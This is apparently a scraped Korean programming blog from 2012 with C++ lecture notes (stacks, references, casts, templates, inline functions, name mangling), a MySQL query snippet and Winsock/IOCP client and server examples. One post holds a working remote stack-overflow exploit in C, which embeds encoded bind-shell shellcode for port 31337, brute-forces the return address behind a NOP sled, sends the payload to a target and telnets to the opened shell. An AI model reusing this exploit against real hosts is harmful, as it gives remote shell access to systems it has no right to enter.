// 동적 메모리 할당의 도입..

class stack{

private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


};


int main(){


stack s1(100);

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/

/*

//버전 8 동적 할당하고나니 메모리 해지가 필요하다?! 

// 소멸자의 도입 

class stack{

private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}

void push(int a) {buff[++index]=a;}

int pop() {return buff[index--];}


~stack(){

delete[]buff;

}

};


int main(){


stack s1(100);

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/

/*


//버전 9 다양한 type의 Stack 을 자동 생성되게 하자! 

// template 도입!!


template<typename T> class stack

{

T *buff;

int index;


private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}

void push(T a) {buff[++index]=a;}

T pop() {return buff[index--];}


~stack(){

delete[]buff;

}

};


int main(){


stack<int> s1(100);

//s1.init();

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.pop()<<endl;



}

*/



/*

//버전 9 좀더 객체화시키고 역할을 쪼갠다. 

template<typename T> class stack

{

T *buff;

int index;


private:

int * buff;

int index;

public:

stack( int sz = 10)

{

index=-1;

buff = new int[sz];

}

void init() {index=-1;}



void push(const T& a) {buff[++index]=a;}


//pop 이 제거와 리턴을 동시에 하면 절대 최적화 할수 없다. 분리하자!!

//T pop() {return buff[index--];}


//제거만하는 함수

void pop(){ --index;}

//리턴만 하는 함수

T &top() {return buff[index];}

//하나의 함수는 한가지 일만 할떄가 좋다.


~stack(){

delete[]buff;

}

};


int main(){


stack<int> s1(100);

//s1.init();

s1.push(10);

s1.push(20);

//s1.index=100; // 에러가 뜬다!!

cout << s1.top()<<endl;

s1.pop();

cout << s1.top()<<endl;

s1.pop();



}

*/


//버젼 10 이미 있다!!

#include<stack>  //C++ 표준인 STL의 STACK 클래스


int main(){


stack<int> s;

s.push(10);

s.push(20);


cout << s.top() << endl;

s.pop();

cout<<s.top() << endl;

s.pop();


}

//버젼 11 숙제!! 배열로 스택을 구현하면 미리 할당을 해줘야한다! 

//버전 10의 내부 구조를 싱글 링크드 리스트로 변경해보기


Posted by k1rha
2012. 8. 13. 14:04

#include<iostream>

using namespace std;

////////////////////////////////////////////////////////////////////////////

//주제 5. 참조 변수 이야기

//1. 개념 : 기존 메모리의 별명 

//2. 

////////////////////////////////////////////////////////////////////////////

int main(){


int n=10; //메모리 할당

int *p = &n; 

int &r = n;


r = 20;

cout << n << endl;


//int &r2; // error 반드시 초기값이 필요하다. 

int *& pr = p;  //포린터의 별명  오~케이

//int &* rp = &r; //error 별명의 주소 번지  에러에러 

int (&f)() = main; //함수의 별명 

int & r3 = 10;  //에러 참조변수를 강제로 지정해줄수는 없다.

const int & r4=10; // 상수는 상수에 넣을수 있다.

//int && r5 = 10;// 상수를 참조하는 문법 C++ 2.0에 등장



}


==========================================================================================

#include<iostream>


using namespace std;


///////////////////////////////////////////////////////////////////////////////////////////

//참조변수와 함수 인자 이야기

//1. 어떤 함수가 인자의 값을 변경한다면 포인터나 참조 모두 좋지만 포인터가 가독성 측면에서는 좋다.

//2. 어떤 함수가 인자의 값을 변경하지 않는다면 

//(A) built in type : call by value 가 더 좋다. foo(int)  //

//(B) User Define Type  : call by reference 가 좋다. foo(const Data&)

//

//

//////////////////////////////////////////////////////////////////////////////////////////


/*

//어떤 코드가 더좋을까? 

void foo(int a){} //1

void foo(const int &a){} //2

*/


/*

void inc1(int n){++n;}

void inc2(int *p){++(*p);}

void inc3(int &r){++r;}


int main(){


int a = 1, b=1, c=1;

inc1(a); //실패  - call by value

inc2(&b); // 성공 - call by point 

inc3(c); //성공 call  by reference 



cout << a << endl;

cout << b << endl;

cout << c << endl;


}*/

struct Data{

int data;

};


void foo(const Data & x) // call by value 는 인자값을 변경하지 않을것이라는 약속이다.

{ //하지만 메모리 사용량이 2배가 된다. 

//되도록이면 const & 를 사용하자!

x=10;

}

int main(){


Data a = 0; 



int a =10;

foo(a); //이 함수는 절대 a 의 값을 변경하면 안된다.

cout << a<<endl; // a= 0이 나와야 한다.



}


==============================================================================================
#include<iostream>
using namespace std;
/////////////////////////////////////////////////////////////////////////////////////////
// 1. built in type ( int foo()) : 상수 리턴
// 2. User Define type(Point foo()): 임시객체 (상수는 아니다.)
// 
// 함수가 참조로 리턴하는 이유 
// 1. built in type(int &foo()) : 함수 호출을 l value 에 놓고 싶다. foo() = 20
//
// 2. User Define Type( Point & foo()) : 임시 객체를 만들지 말라는 의미!!
//
///////////////////////////////////////////////////////////////////////////////////////////

struct Point{
int x;
int y;
};

Point p = {1,2};
/*
Point foo(){

return p;

}
*/
Point & foo(){
return p;
}

int main(){


foo().x = 10;  //구조체 자체를 리턴하기떄문에 가능하다.
cout << p.x << endl; // 하지만 10 이 나오진 않는다.  1이 나온다. why?!
//복사생성자를 통해서 구조체를 리턴하기 떄문이다.  즉 foo().x 는 임시객체에 들어가게 된다.
//왜냐하면 임시객체가 없으면 지역변수 구조체를 리턴할 수 없다. 
//이를 해결하기 위해서는 Point foo()를 아래와 같이 수정한다.
//


}

Posted by k1rha
2012. 8. 13. 11:49

#include<iostream>

using namespace std;

//////////////////////////////////////////////////////////////////////////////////////

//주제 4 C++ Explicit cast

//1. C 의 캐스팅은 너무 위험하다 (Unresonable , 비이상적이다)

//2. 그래서 C++ 은 4가지 캐스팅 연산자를 따로 만들었다

//(A) static_cast : 이성적인 것만 허용

//(B) reinterpret_cast : 메모리 재해석 - 거의 성공 

//(C) const_cast : 객체의 상수 제거

//(D) dynamic_cast : RTTI 기술 

////////////////////////////////////////////////////////////////////////////////////////


int main(){


double d = 3.4;

int n =d;    //date 손실이 발생하지만 암시적 변환이 허용된다. 

int n = static_cast<int>(d); //<OK 허용!> 


double * p =(double *)&n; // ㅏㅁ시적은 안되지만 명시적 캐스팅은 된다.

//double * p =static_cast<double *>(&n); //Error !!  그래도 꼭 쓰고싶어? 그럼 아래 껄로!

double * p =reinterpret_cast<double *>(&n); //Error !! 


const int c= 0;

//int *p2 =  (int *) &c; //  상수의 포인터를 비상수 포인터로 가리킬수 없다. 하지만 명시적은  된다!?!;; 완전 불안하다.

//int *p2 =  static_cast<int *> (&c); // 안된다! 그래도 해보고싶다? 

//int *p2 =  reinterpret_cast<int *> (&c); // 안된다! 상수는 바꿀수 없다

int *p2 = const_cast<int *>(&c); // 원본이 read 만 가능한 const 일때는 const_cast 라 하더라도 절대 값을 바꾸지는 말자.


*p2 = 10 ;


cout << c <<endl; // 하지만 결과는 0이다! const 를 가리키는 포인터는 혼란을 초래할 뿐이다. 



}


Posted by k1rha
2012. 8. 13. 11:31

#include<iostream>

using namespace std;


//주제 3 . 함수 템플릿 

//1. 메크로를 사용한 코드 생성 - 전처리기가 코드 생성을 한다.

// 전처리기는 사용자가 사용하는 타입을 모른다. 그래서 사용전에는 꼭 MAKE_MAX(필요한 타입)으로 선언해야 한다.

// 2 컴파일러를 사용한 코드 생성 - template 

/*

int Max(int a, int b){

return a < b ? b : a;

}

double Max(double a, double b){

return a < b ? b : a;


}

*/


//동일한 코드가 반복된다면 코드 생성기를 사용하자.

//#define MAKE_MAX(T) T MAX(T a, T b){return a< b ? b:a;}

//MAKE_MAX(int)

//MAKE_MAX(double)

// 함수 템플릿? 템플릿 함수?   함수 템플릿으로 쓰자!



// 2 컴파일러를 사용한 코드 생성 - template 

// 인스턴스화 : 템플릿이 타입이 결정되어서 진짜 함수 /클래스를 만드는 과정.

// 암시적 인스턴스화 : T를 컴파일러가 결정 

// 명시적 인스턴스화 : T를 사용자가 결정! 


template<typename T> T Max(T a, T b){return a< b ? b: a;}




int main(){


Max(1,2);  //int Max(int, int ) 를 생성하는 효과를 가져온다

Max(1.1, 2.2); // double Max(double, double) 를 생성하는 효과를 가져온다.


// Max(65,'B'); //error! 

Max<int>(65,'B'); // ok 사용자가 직접 T의 타입을 지정





}

Posted by k1rha
2012. 8. 13. 11:31

///////////////////////////////////////////////////////////////////////////////////////

//주제 2. 인라인 함수  -  약간은 어려운 이야기

//1. 함수 호출의 원리 : 마지막 인자 부터 스텍에 넣고 함수로 jmp

//2. 인라인 함수 개념 : 진짜 호출이 아니라 함수 기계어 코드를 통째로 치환

//3. 장점 : 속도가 빠르다.

//4. 단점 : a목적 코드의 크기가 커진다?!  -> 오히려 간단한 함수에서는 줄어든다.

//

//////////////////////////////////////////////////////////////////////////////////////

========================= 인라인 함수 1.cpp =========================================

int Add(int a,int b){return a+b;}

inline int Add2(int a, int b){return a+b;}

int main(){

int m1 = Add(1,2); //push 2

//push 1

//call ?Add@@xxxxxx


int m2 = Add2(1,2);



return 0;

}



==================================================================================


=========================== 인라인 함수2.cpp ====================================


//인라인 함수2.cpp

int Add1( int a, int b);

inline int Add2( int a, int b);


int main(){

Add1(1,2);

Add2(1,2);



}


int Add1(int a, int b){return a+b;}

inline int Add2(int a, int b){return a+b;}


//=======================================================================================

//////////////////////////////////////////////////////////////////////////////////////////

//빌드하면 에러가 나옴 Why?

// internal linkage(내부연결) : 임의의 심볼이 (변수, 함수이름) 자신을 선언한 컴파일단위(같은파일)에서만 사용 가능

// ex)static 전역변수, 인라인 함수 , template , 매크로,

// internal linkage 는 헤더에 포함되게 만든다!

//

// externeal linkage*외부연결) : 임의의 심볼이 프로젝트 내의 모든 컴파일 단위에서 사용 가능

// ex) 전역변수, 일반함수, 

//

// const  는 C에서는 external  이고 C++ 에서는 internal 이다. 

//

// 어셈블리 단에서 보면 일반 함수는 call 을 위해 그 메모리주소값을 비워두고 실행시에 그 주소를 참조한다.

// 하지만 inline 은 컴파일시 그 부분을 전부다 기계어로 올려놓고 그 주소를 참조한다.

//

//////////////////////////////////////////////////////////////////////////////////////////



/////////////////////////////////////////////////////////////////

//인라인 함수와 함수포인터 - 중요하고 어렵습니다.

//1. 인라인 함수는 컴파일 시간 문법이다.

//2. 함수는 자신만의 타입이 없다!! singnature 가 동일한 모든 함수는 같은 타입이다.

//3. 함수 포인터를 사용해서 호출하는 경우 대부분의 컴파일러는 인라인 치환을 할 수 없다.

//4. 왜 중요한가? 라이브러리 설계자 입장을 생각해 보자.

// 라이브러리 개발자는?!

//(A)  성능! - 빨라야 한다!

//(B) 유연성!  - 유연성이 있어야 한다.

// 변하지 않는 전체 알고리즘과 변해야하는 정책은 분리하는 것이 좋다. (오른차순 내림차순 )

// C 에서는 변하는 것을 함수 인자화 하면 된다.

//

// 컴파일 상에서 알아서 처리 해준다!!!

////////////////////////////////////////////////////////////////////

/*

void foo(){}

inline void goo(){}

int main(){


foo();

goo();



void(*f)();

int n;

cin >> n;

if(n==0)f=&foo;

else f=&foo;

f();


}

*/


//4

void Sort(int *x , int n, int( *cmp)(int,int)){ //qsort() 라면?!

for(int i =0; i<n-1;i++){

for(int j=i+1;j<n;j++){

if(cmp(x[i]>x[j])>0)swap(x[i],x[j]);

}

}

}

//inline int cmp1(int a, int b){return a-b;} //인라인 함수는 함수 포인터로 호출이 불가능하다. /

//inline int cmp2(int a, int b){return b-a;} 


int cmp1(int a, int b){return a-b;} 

int cmp2(int a, int b){return b-a;}


int main(){

int x[10] = {1,3,5,7,9,11,2,4,6,8};

Sort ( x, 10,cmp1);

}



Posted by k1rha
2012. 8. 13. 10:14

[SSM 안드로이드 프레임워크 만들기 강의]

===========================================================

Inside 안드로이드 8장 <-- 강의내용에 도움될만한 서적 


월 : C++ 고급문법

화 : 각종 테크닉 -> 스마트 포인터, 참조계수, 함수객체 등..

수 : 안드로이드가 사용하는 각종 디자인 기법

목 : Generic 프로그램

금 : 안드로이드 프레임워크 구현



===========================================================


JNI는 JAVA와 디바이스간의 프로세스 통신이다. 




===========================================================

//#include <iostream>

//using namespace std;


////////////////////////////////////////////////////////////////////////////////////////

//1. 개념 : 인자의 갯수나 타입이 다르면 동일 이름의 함수를 2개이상 만들 수 있다.

//2. 장점 : 일관된 라이브러리를 구축 하기가 쉽다.(C를 제외한 대부분의 언어가 지원된다)

//3. 원리 : name mangling - 컴파일러가 오버라이딩을 지원하기 위해 함수 이름을 변경하는 현상.

//4. cl 소스이름.cpp /FAs 로 어셈 코드를 만들 수 있다.

//5. c와의 호환성 문제.. 헤더 작업시 조건부 컴파일 필요

//6. 함수 오버로딩은 1. 컴파일 시간 문법이다. --실행시 성능에는 문제가 없다. (단 컴파일시간이 더걸린다)

//7. 

/////////////////////////////////////////////////////////////////////////////////////////


int square(int a)  //컴파일러 단에서 함수와 인자값을 보고 suare_int(int a) 같이  rename 하게 된다.

{


return a*a;

}

double square(double d) // 컴파일러가 square_dobule(double) 과 같이 rename 한다.

{

return d*d;

}

int main()

{

int n= square(3); //square_int (3)

double d = square(3.1);

return 0;

}

=============================================================


cl 명령어로 cpp 파일을 어셈으로 표현해준다.


$cl 함수오버로딩.cpp /FAs



텍스트 파일로 열어보면 맹글리 된 부분을 확인 할 수 있다.

===================================================================

; 21   : int n= square(3); //square_int (3)


push 3

call ?square@@YAHH@Z ; square

add esp, 4

mov DWORD PTR _n$[ebp], eax


; 22   : double d = square(3.1);


sub esp, 8

fld QWORD PTR __real@4008cccccccccccd

fstp QWORD PTR [esp]

call ?square@@YANN@Z ; square

add esp, 8

fstp QWORD PTR _d$[ebp]

====================================================================





//square.c => 반드시 .c 파일로 만들것


int square(int a)

{

return a*a;

}

//square.h 만드드세요 

int square(int);



//함수 오버로딩2.cpp 파일로 들어옴


#include "square.h"

int main(){

square(3);

}

//위처럼 3개의 파일로 작업한 후 빌드 

====================================================================

에러가 출력된다. 

이유?!  : cpp 파일은 오버로딩을위해 함수를 맹글링한다.

하지만 .c 파일에서는 오버로딩이 지원하지 않기때문에 함수이름 그대로를 사용한다.

맹글링된 함수 주소를 참조 할 수 없다.


이를 해결하기 위해 .h 파일에 extern "C" 를 선언해주어 C처럼 컴파일 해달라고 요청하면 된다.


========================== squre.h =========================================

extern "C" int square(int);

//cpp 컴파일러에게 c 처럼 해석해 달라(name mangling을 막아달라고 요청)


==============================================================================


=> 잘 컴파일됨 



이후 cpp 파일의 확장자를 .c 로 하면 string 오류가 뜬다. h 안에 extern "C" 를 못인식 하는 것이다.

이럴때는 조건부 컴파일을 해 줘야한다.


========================== square.h =========================================

#ifdef __cplusplus

extern "C"{

#endif

int square(int);

//cpp 컴파일러에게 c 처럼 해석해 달라(name mangling을 막아달라고 요청)

#ifdef __cplusplus

}

#endif


//결론 c/C++ 모두에서 사용 가능한 라이브러리를 구축하려면

//1.라이브러리 자체는 .c 로해서 name manling 을 막고

//2. 헤더는 위처럼 조건부 컴파일을 해서 c/c++ 모두를 지원해야 한다. 

==============================================================================









Posted by k1rha
2012. 7. 27. 13:51

아.. 출처가 기억나질 않는다. 

일단 아래와 같은 방식으로 DB연결하고 값을 불러오는데 성공.

테이블이 이미 존재할때 가능한 코드이다. 
"select * from test";  는 test 테이블에 있는 모든값을 가져온다는 구문이고 안에는 컬럼이 2개 존재한다.



 void Database(){

char* query="select * from test"; // 실행할 쿼리

int len;

MYSQL* conn_ptr; // MySQL과의 연결을 담당

MYSQL_RES* res; // 쿼리에 대한 결과를 받는 변수

MYSQL_ROW row; // 쿼리에 대한 실제 데이터 값이 들어있는 변수

conn_ptr=mysql_init(NULL); // 초기화


if(!conn_ptr){

DisplayText("mysql_init failed!!\n");

// printf("mysql_init failed!!\n");

}

// MySQL에 연결

conn_ptr=mysql_real_connect(conn_ptr, HOST, USER, PASS, NAME, 3306, (char*)NULL, 0);

if(conn_ptr){

DisplayText("연결 성공\n");

// printf("연결 성공\n");

}else{

DisplayText("연결 실패\n");

//printf("연결 실패\n");

}

// 쿼리 실행

// mysql_query() 실행 후 반환값이 0이어야 성공

len=mysql_query(conn_ptr, query);

res=mysql_store_result(conn_ptr); // 전속한 결과 값을 MYSQL_RES 변수에 저장

// 쿼리 결과 값 출력

while((row=mysql_fetch_row(res))!=NULL){ // 한 ROW 씩 얻어 온다

DisplayText("%s %s\n", row[0], row[1]);

//printf("%s %s\n", row[0], row[1]); // 결과 값 출력

}

// 할당 된 메모리 해제

mysql_free_result(res); 

mysql_close(conn_ptr);


//scanf("%d",len);

}



Posted by k1rha
2012. 7. 26. 22:06

IOCP 서버 구현 



#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

#include "resource.h"


using namespace std;


#define WM_MYSOCKET_NOTIFY (WM_APP+0)  //WSAAsyncSelect에 쓰일 네트워크 이벤트 발생시 Post될 메시지

#define MAXLINE 1024


BOOL CALLBACK ClientDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);  //클라이언트 다이얼로그 프로시져

BOOL CALLBACK ConnectDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam);  //연결 다이얼로그 프로시져

void OnConnect();  //연결 함수

void OnMySocketNotify(WPARAM wParam,LPARAM lParam);  //SEND,WRITE,CLOSE 발생시 수행하는 함수

void Disconnect();  //연결 해제 함수

void DisplayText(char *fmt,...);  //화면에 출력 함수


HINSTANCE hInst;

HWND hClientDlg,hEditContent,hEditSendMsg,hBTSend,hBTConnect,hBTDisconnect;

char IPAddr[20]="127.0.0.1";

int PortNum=5056;

SOCKET ClientSocket;

char Buffer[MAXLINE];  //메시지 저장 변수


int APIENTRY WinMain(HINSTANCE hInstance,HINSTANCE hPreInstance,LPSTR lpCmdLine,int nCmdShow) {

hInst=hInstance;

//윈속 초기화

WSADATA WsaData;

if(WSAStartup(MAKEWORD(2,2),&WsaData)!=0) {

MessageBox(NULL,"윈속 초기화 실패!","ERROR",MB_OK);

return 0;

}

//다이얼로그 생성 및 실행

DialogBox(hInst,MAKEINTRESOURCE(IDD_CLIENT_DLG),NULL,ClientDlgProc);

//윈속 종료

closesocket(ClientSocket);

WSACleanup();

return 0;

}

//클라이언트 다이얼로그 프로시져

BOOL CALLBACK ClientDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) {

switch(uMsg) {

case WM_INITDIALOG:

hClientDlg=hDlg;

hEditContent=GetDlgItem(hDlg,IDC_EDIT_CONTENT);

hEditSendMsg=GetDlgItem(hDlg,IDC_EDIT_SENDMSG);

hBTSend=GetDlgItem(hDlg,IDC_BT_SEND);

hBTConnect=GetDlgItem(hDlg,IDC_BT_CONNECT);

hBTDisconnect=GetDlgItem(hDlg,IDC_BT_DISCONNECT);

return TRUE;

case WM_COMMAND:

switch(LOWORD(wParam)) {

case IDC_BT_CONNECT:

DialogBox(hInst,MAKEINTRESOURCE(IDD_CONNECT_DLG),NULL,ConnectDlgProc);

break;

case IDC_BT_DISCONNECT:

Disconnect();

break;

case IDC_BT_SEND:

GetDlgItemText(hDlg,IDC_EDIT_SENDMSG,Buffer,MAXLINE-1);

DisplayText("[SEND MSG] %s\n",Buffer);

SendMessage(hDlg,WM_MYSOCKET_NOTIFY,ClientSocket,WSAMAKESELECTREPLY(FD_WRITE,0));

SetDlgItemText(hDlg,IDC_EDIT_SENDMSG,"");

break;

}

return TRUE;

case WM_MYSOCKET_NOTIFY:

OnMySocketNotify(wParam,lParam);

return TRUE;

case WM_CLOSE:

EndDialog(hDlg,0);

return TRUE;

}

return FALSE;

}

//연결 다이얼로그 프로시져

BOOL CALLBACK ConnectDlgProc(HWND hDlg,UINT uMsg,WPARAM wParam,LPARAM lParam) {

switch(uMsg) {

case WM_INITDIALOG:

SetDlgItemText(hDlg,IDC_IPADDRESS,IPAddr);

SetDlgItemInt(hDlg,IDC_EDIT_PORTNUM,PortNum,FALSE);

return TRUE;

case WM_COMMAND:

switch(LOWORD(wParam)) {

case IDC_BT_CONNETOK:

GetDlgItemText(hDlg,IDC_IPADDRESS,IPAddr,sizeof(IPAddr));

PortNum=GetDlgItemInt(hDlg,IDC_EDIT_PORTNUM,NULL,FALSE);

SendMessage(hDlg,WM_CLOSE,0,0);

//서버에 접속

OnConnect();

break;

}

return TRUE;

case WM_CLOSE:

EndDialog(hDlg,0);

return TRUE;

}

return FALSE;

}

//연결 함수

void OnConnect() {

//Socket 생성

ClientSocket=WSASocket(AF_INET,SOCK_STREAM,0,NULL,0,WSA_FLAG_OVERLAPPED);

if(ClientSocket==INVALID_SOCKET) {

DisplayText("[ERROR] Socket 생성 실패!\n");

return;

}else DisplayText("[SUCCESS] Socket 생성 성공!\n");

//주소 정보 설정

SOCKADDR_IN ServerAddr;

ZeroMemory(&ServerAddr,sizeof(SOCKADDR_IN));

ServerAddr.sin_family=AF_INET;

ServerAddr.sin_addr.s_addr=inet_addr(IPAddr);

ServerAddr.sin_port=htons(PortNum);

DisplayText("서버에 접속중.....\n");

//Connect

if(connect(ClientSocket,(PSOCKADDR)&ServerAddr,sizeof(SOCKADDR_IN))==SOCKET_ERROR) {

DisplayText("[ERROR] Connect 실패!\n");

closesocket(ClientSocket);

return;

}else DisplayText("[SUCCESS] Connect 성공!\n");

//WSAAsyncSelect 실행

if(WSAAsyncSelect(ClientSocket,hClientDlg,WM_MYSOCKET_NOTIFY,FD_READ|FD_WRITE|FD_CLOSE)==SOCKET_ERROR) {

DisplayText("[ERROR] WSAAsyncSelect 실패!\n");

closesocket(ClientSocket);

return;

}else DisplayText("[SUCCESS] WSAAsyncSelect 성공!\n");

//버튼 상태 변경

EnableWindow(hEditSendMsg,TRUE);

EnableWindow(hBTSend,TRUE);

EnableWindow(hBTDisconnect,TRUE);

EnableWindow(hBTConnect,FALSE);


DisplayText("Connect!!!\n");

}

//SEND,WRITE,CLOSE 발생시 수행하는 함수

void OnMySocketNotify(WPARAM wParam,LPARAM lParam) {

int nEvent=WSAGETSELECTEVENT(lParam);

if(nEvent==FD_READ) {

ZeroMemory(Buffer,sizeof(Buffer));

recv(ClientSocket,Buffer,sizeof(Buffer),0);

DisplayText("[RECV MSG] %s\n",Buffer);

}

else if(nEvent==FD_WRITE) {

send(ClientSocket,Buffer,strlen(Buffer),0);

}

else if(nEvent==FD_CLOSE) {

Disconnect();

}

}

//연결 해제 함수

void Disconnect() {

//소켓 닫기

closesocket(ClientSocket);

//버튼 상태 변경

EnableWindow(hEditSendMsg,FALSE);

EnableWindow(hBTSend,FALSE);

EnableWindow(hBTDisconnect,FALSE);

EnableWindow(hBTConnect,TRUE);

DisplayText("서버와 연결이 끊어짐.\n");

}

//화면에 출력 함수

void DisplayText(char *fmt,...) {

va_list arg;

va_start(arg,fmt);

char cbuf[MAXLINE+256];

vsprintf(cbuf,fmt,arg);

int nLength=GetWindowTextLength(hEditContent);

SendMessage(hEditContent,EM_SETSEL,nLength,nLength);

SendMessage(hEditContent,EM_REPLACESEL,FALSE,(LPARAM)cbuf);

va_end(arg);

}

Posted by k1rha
2012. 6. 21. 02:18

#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <sys/socket.h>

#include <sys/types.h>

#include <netinet/in.h>

#include <arpa/inet.h>

 

#define BUFSIZE 256

#define OFFSET 44

#define JUMP_OFFSET 36

 

char bindshellcode[] =

"\xeb\x11\x5e\x31\xc9\xb1\x6b\x80\x6c\x0e\xff\x35\x80\xe9\x01"

"\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\xe5\x7b\xbd\x0e\x02\xb5"

"\x66\xf5\x66\x10\x66\x07\x85\x9f\x36\x9f\x37\xbe\x16\x33\xf8"

"\xe5\x9b\x02\xb5\xbe\xfb\x87\x9d\xf0\x37\xaf\x9e\xbe\x16\x9f"

"\x45\x86\x8b\xbe\x16\x33\xf8\xe5\x9b\x02\xb5\x87\x8b\xbe\x16"

"\xe8\x39\xe5\x9b\x02\xb5\x87\x87\x8b\xbe\x16\x33\xf8\xe5\x9b"

"\x02\xb5\xbe\xf8\x66\xfe\xe5\x74\x02\xb5\x76\xe5\x74\x02\xb5"

"\x76\xe5\x74\x02\xb5\x87\x9d\x64\x64\xa8\x9d\x9d\x64\x97\x9e"

"\xa3\xbe\x18\x87\x88\xbe\x16\xe5\x40\x02\xb5";

 

//31337 포트로 열리는 바인드 쉘코드 이다.

 

#define BINDPORT 31337  //telnet 으로 바인드된 곳으로 접속할 포트를 정한다.

//즉 쉘코드가 다른포트로 바뀌면 이부분을 수정한다.

 

 

int main (int argc, char *argv[])

{

int sockfd; 

struct sockaddr_in target_addr;

unsigned char buffer[BUFSIZE];   //exploiting 할 버퍼 값

unsigned int retaddr = 0xbffffff0;  //return addr 을 계속 바꿀 주소값

char cmd[100];   //telnet 명령어를 박을 부분

 

if (argc != 3) {

fprintf(stderr, "Usage: %s <Target Address> <Port>\n", argv[0]);

return -1;

}

 

sprintf(cmd, "%s %s %d", "telnet", argv[1], BINDPORT);  

 //telnet 명령 인자값 구성.//오버플로우 조심하쎼요~

 

while (1) {

 

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1) {

printf ("socket error");

return -1;

}

memset(&target_addr, 0, sizeof(target_addr));

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(atoi(argv[2]));  //target ip

target_addr.sin_addr.s_addr = inet_addr(argv[1]);  //target port

 

if (connect (sockfd, (struct sockaddr*)&target_addr, sizeof(target_addr)) == -1) {

printf(“connect error”);

close(sockfd);

continue;

}

retaddr -= JUMP_OFFSET;  //JUMP_OFFSET만큼 계쏙 감소.  놉코드 개수와 일치시면 좋다.

memset(buffer, '\x90', sizeof(buffer));  //놉코드로 변수를 초기화한다.

memcpy(buffer+OFFSET, &retaddr, 4);  // ret주소값까지 만큼 떨어진 부분에 저장했던 주소를 넘

memcpy(buffer+100, bindshellcode, strlen(bindshellcode)); //100만큼 떨어진 곳에 바인드 쉘코드를 넣음 즉 옵코드는 대략 50개가 들어가 있음때문에JUMP_OFFSET 50이라고 줌

 

send(sockfd, buffer, strlen(buffer), 0);  //소켓을 전송함.

 

system(cmd);  //telnet 을 시도함.

 

close(sockfd);

 

}

 

return 0;

}

Posted by k1rha
2012. 6. 6. 19:49

IOCP예제 코드 


[출처 : http://cafe.naver.com/boolnim/403 ]



클라이언트 소스코드

 

 

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

 

void ErrorHandling(char *message);

 

int main()

{

         WSADATA wsaData;

         SOCKET hSocket;

         SOCKADDR_IN recvAddr;

 

         WSABUF dataBuf;

         char message[1024] = {0,};

         int sendBytes = 0;

         int recvBytes = 0;

         int flags = 0;

 

         WSAEVENT event;

         WSAOVERLAPPED overlapped;

 

 

         if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) /* Load Winsock 2.2 DLL */

                  ErrorHandling("WSAStartup() error!");

 

         hSocket=WSASocket(PF_INET, SOCK_STREAM, 0, NULL, 0, WSA_FLAG_OVERLAPPED);

         if(hSocket == INVALID_SOCKET)

                  ErrorHandling("socket() error");

 

         memset(&recvAddr, 0, sizeof(recvAddr));

         recvAddr.sin_family=AF_INET;

         recvAddr.sin_addr.s_addr=inet_addr("127.0.0.1");

         recvAddr.sin_port=htons(atoi("2738"));

 

         if(connect(hSocket, (SOCKADDR*)&recvAddr, sizeof(recvAddr))==SOCKET_ERROR)

                  ErrorHandling("connect() error!");

 

 

         //구조체에이벤트핸들삽입해서전달

         event = WSACreateEvent();

         memset(&overlapped, 0, sizeof(overlapped));

 

         overlapped.hEvent=event;

 

 

 

         //전송할데이터

         while(true)

         {

                  flags = 0;

                  printf("전송할데이터(종료를원할시exit)\n:");

                  scanf("%s",message);

 

                  if(! strcmp(message,"exit")) break;

 

                  dataBuf.len=strlen(message);

                  dataBuf.buf=message;

 

                  if(WSASend(hSocket, &dataBuf, 1, (LPDWORD)&sendBytes, 0, &overlapped, NULL)==SOCKET_ERROR)

                  {

                           if(WSAGetLastError() != WSA_IO_PENDING)

                                   ErrorHandling("WSASend() error");

                  }

 

                  //전송완료확인

                  WSAWaitForMultipleEvents(1, &event, TRUE, WSA_INFINITE, FALSE); //데이터전송끝났는지확인

 

                  //전송된바이트수확인

                  WSAGetOverlappedResult(hSocket, &overlapped, (LPDWORD)&sendBytes, FALSE, NULL);//실지로전송된바이트수를얻어낸다.

                  printf("전송된바이트수: %d \n", sendBytes);

                  if(WSARecv(hSocket, &dataBuf, 1, (LPDWORD)&recvBytes, (LPDWORD)&flags, &overlapped, NULL) ==SOCKET_ERROR)

                  {

                           if(WSAGetLastError() != WSA_IO_PENDING)

                                   ErrorHandling("WSASend() error");

                  }

                  printf("Recv[%s]\n",dataBuf.buf);

         }

 

         closesocket(hSocket);

         WSACleanup();

 

         return 0;

}

 

void ErrorHandling(char *message)

{

         fputs(message, stderr);

         fputc('\n', stderr);

         exit(1);

}




[ IOCP 서버 부분 ] 



/*

* Port_EchoServer.c

* Written by SW. YOON

* 주석 브라우니

*/

 

#include <stdio.h>

#include <stdlib.h>

#include <winsock2.h>

#include <process.h>

 

#define BUFSIZE 1024

 

typedef struct //소켓정보를구조체화.

{

         SOCKET hClntSock;

         SOCKADDR_IN clntAddr;

} PER_HANDLE_DATA, *LPPER_HANDLE_DATA;

 

typedef struct // 소켓의버퍼정보를구조체화.

{

         OVERLAPPED overlapped;

         char buffer[BUFSIZE];

         WSABUF wsaBuf;

} PER_IO_DATA, *LPPER_IO_DATA;

/*

소켓 버퍼 정보를 구조체로 만드는데 이때 WSABUF 와 overlapped 를 포함한다.

WSABUF WSASend WSARecv 함수의 인자로 전달되는 버퍼에 사용되는 구조체 이기에 포함 되고

overlapped 구조체 변수를 넣어주는건 현재 완료된 입출력 정보를 얻어 낼때 사용 된다.

*/

 

unsigned int __stdcall CompletionThread(LPVOID pComPort);

/*

완료된 쓰레드에 관한 처리를 해주는 함수 이다.

